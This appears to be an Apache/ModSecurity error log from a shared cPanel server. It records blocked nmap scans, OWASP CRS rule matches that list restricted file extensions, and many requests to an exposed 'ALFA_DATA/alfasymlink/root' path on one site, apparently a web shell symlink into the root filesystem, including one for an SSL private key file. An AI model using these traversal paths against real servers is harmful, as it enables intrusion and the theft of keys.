[Sun Oct 25 21:24:53.124393 2026] [security2:error] [pid 2925278:tid 2925278] [client 107.172.76.131:49963] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6r2BaKu-Zjs56a5J4rowAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 21:24:58.128143 2026] [ssl:error] [pid 2928659:tid 2928659] (5)Input/output error: [client 3.217.82.254:2973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:25:03.180537 2026] [security2:error] [pid 2936926:tid 2936926] [client 45.79.252.166:27764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at6r7_43GQScGTsgQfScpQAAABU"]
[Sun Oct 25 21:25:03.181726 2026] [authz_core:error] [pid 2936926:tid 2936926] [client 45.79.252.166:27764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 21:25:46.745101 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:39982] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGkokKmMLT537ELOlLwAAAAg"]
[Sun Oct 25 21:25:46.745130 2026] [security2:error] [pid 2936921:tid 2936921] [client 45.79.252.166:39976] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGgdfoouc32iEpvzE_gAAAA8"]
[Sun Oct 25 21:25:46.745673 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:39982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGkokKmMLT537ELOlLwAAAAg"]
[Sun Oct 25 21:25:46.745675 2026] [security2:error] [pid 2936921:tid 2936921] [client 45.79.252.166:39976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGgdfoouc32iEpvzE_gAAAA8"]
[Sun Oct 25 21:25:46.746023 2026] [security2:error] [pid 2936921:tid 2936921] [client 45.79.252.166:39976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGgdfoouc32iEpvzE_gAAAA8"]
[Sun Oct 25 21:25:46.746024 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:39982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGkokKmMLT537ELOlLwAAAAg"]
[Sun Oct 25 21:25:46.746073 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:39982] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGkokKmMLT537ELOlLwAAAAg"]
[Sun Oct 25 21:25:46.746085 2026] [security2:error] [pid 2936921:tid 2936921] [client 45.79.252.166:39976] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sGgdfoouc32iEpvzE_gAAAA8"]
[Sun Oct 25 21:25:48.683891 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:39988] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sHAPsVzpIp32jbe9FPgAAAAQ"]
[Sun Oct 25 21:25:48.684538 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:39988] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sHAPsVzpIp32jbe9FPgAAAAQ"]
[Sun Oct 25 21:25:48.684806 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:39988] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sHAPsVzpIp32jbe9FPgAAAAQ"]
[Sun Oct 25 21:25:48.684851 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:39988] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sHAPsVzpIp32jbe9FPgAAAAQ"]
[Sun Oct 25 21:25:50.153751 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 44.213.36.21:46902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:25:53.948598 2026] [security2:error] [pid 2936923:tid 2936923] [client 45.79.252.166:47158] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/favicon.ico"] [unique_id "at6sIY0m5YFE8EpaPz0l3wAAABI"]
[Sun Oct 25 21:25:53.949051 2026] [security2:error] [pid 2936923:tid 2936923] [client 45.79.252.166:47158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/favicon.ico"] [unique_id "at6sIY0m5YFE8EpaPz0l3wAAABI"]
[Sun Oct 25 21:25:53.949266 2026] [security2:error] [pid 2936923:tid 2936923] [client 45.79.252.166:47158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/favicon.ico"] [unique_id "at6sIY0m5YFE8EpaPz0l3wAAABI"]
[Sun Oct 25 21:25:53.949343 2026] [security2:error] [pid 2936923:tid 2936923] [client 45.79.252.166:47158] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/favicon.ico"] [unique_id "at6sIY0m5YFE8EpaPz0l3wAAABI"]
[Sun Oct 25 21:25:54.274364 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.221.227.90:59899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:25:54.764746 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:47170] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIkokKmMLT537ELOlMAAAAAg"]
[Sun Oct 25 21:25:54.765176 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:47170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIkokKmMLT537ELOlMAAAAAg"]
[Sun Oct 25 21:25:54.765427 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:47170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIkokKmMLT537ELOlMAAAAAg"]
[Sun Oct 25 21:25:54.765464 2026] [security2:error] [pid 2934397:tid 2934397] [client 45.79.252.166:47170] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIkokKmMLT537ELOlMAAAAAg"]
[Sun Oct 25 21:25:54.950547 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:47172] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIgPsVzpIp32jbe9FPwAAAAQ"]
[Sun Oct 25 21:25:54.951073 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:47172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIgPsVzpIp32jbe9FPwAAAAQ"]
[Sun Oct 25 21:25:54.951385 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:47172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIgPsVzpIp32jbe9FPwAAAAQ"]
[Sun Oct 25 21:25:54.951425 2026] [security2:error] [pid 2928659:tid 2928659] [client 45.79.252.166:47172] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at6sIgPsVzpIp32jbe9FPwAAAAQ"]
[Sun Oct 25 21:25:57.863887 2026] [core:error] [pid 2936920:tid 2936920] (13)Permission denied: [client 185.191.171.16:16182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/align
[Sun Oct 25 21:25:58.146427 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.231.181.240:9093] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:26:13.552350 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 185.191.171.6:33892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:26:14.145915 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 23.21.179.27:19997] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:26:21.679719 2026] [core:error] [pid 2936923:tid 2936923] (13)Permission denied: [client 85.208.96.208:48016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/red_zone
[Sun Oct 25 21:26:26.141830 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.22.87.224:50475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:26:36.164417 2026] [core:error] [pid 2936923:tid 2936923] (13)Permission denied: [client 185.191.171.18:39114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/objects
[Sun Oct 25 21:26:38.174947 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 44.221.37.41:49119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:26:44.138969 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 85.208.96.211:56160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/ssldomains
[Sun Oct 25 21:27:02.158267 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 52.73.142.41:46249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:27:09.672688 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.195:35860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/aliases
[Sun Oct 25 21:27:10.179265 2026] [ssl:error] [pid 2936923:tid 2936923] (70014)End of file found: [client 100.29.155.89:4731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:27:17.476165 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/' is executable
[Sun Oct 25 21:27:17.476240 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/' is executable
[Sun Oct 25 21:27:17.477149 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/' is executable
[Sun Oct 25 21:27:17.477220 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/' is executable
[Sun Oct 25 21:27:17.477259 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/' is executable
[Sun Oct 25 21:27:17.477906 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/' is executable
[Sun Oct 25 21:27:17.478612 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/' is executable
[Sun Oct 25 21:27:17.478642 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 216.244.66.250:53960] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/' is executable
[Sun Oct 25 21:27:18.168003 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 3.81.253.213:46072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:27:26.149278 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.225.81.20:12976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:27:34.210573 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 34.206.193.60:65162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/cpu0/crash_notes_size
[Sun Oct 25 21:27:38.144062 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 54.145.82.217:44728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:27:45.661872 2026] [security2:error] [pid 2934778:tid 2934778] [client 185.191.171.2:47038] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8dd3_2a0cb_2029cdc93acba4e764dbb3486ffc1349.key"] [unique_id "at6skdYvsK9lv2bQxMABIQAAABA"]
[Sun Oct 25 21:27:45.662281 2026] [security2:error] [pid 2934778:tid 2934778] [client 185.191.171.2:47038] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8dd3_2a0cb_2029cdc93acba4e764dbb3486ffc1349.key"] [unique_id "at6skdYvsK9lv2bQxMABIQAAABA"]
[Sun Oct 25 21:27:45.662644 2026] [security2:error] [pid 2934778:tid 2934778] [client 185.191.171.2:47038] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8dd3_2a0cb_2029cdc93acba4e764dbb3486ffc1349.key"] [unique_id "at6skdYvsK9lv2bQxMABIQAAABA"]
[Sun Oct 25 21:27:50.141518 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 23.21.204.95:48026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/hpet/uevent
[Sun Oct 25 21:27:58.829606 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 185.191.171.9:45348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/partial
[Sun Oct 25 21:28:02.153307 2026] [core:error] [pid 2936926:tid 2936926] (13)Permission denied: [client 54.197.82.195:30695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty8/subsystem/console/subsystem/ttyS3/custom_divisor
[Sun Oct 25 21:28:06.154571 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 44.217.255.167:60248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:28:10.297526 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 35.169.119.108:8934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:28:13.424864 2026] [core:error] [pid 2925075:tid 2925075] (13)Permission denied: [client 185.191.171.13:10458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/remote_node_defrag_ratio
[Sun Oct 25 21:28:18.242643 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 54.144.185.255:54759] AH02013: coalesce failed to read from data bucket
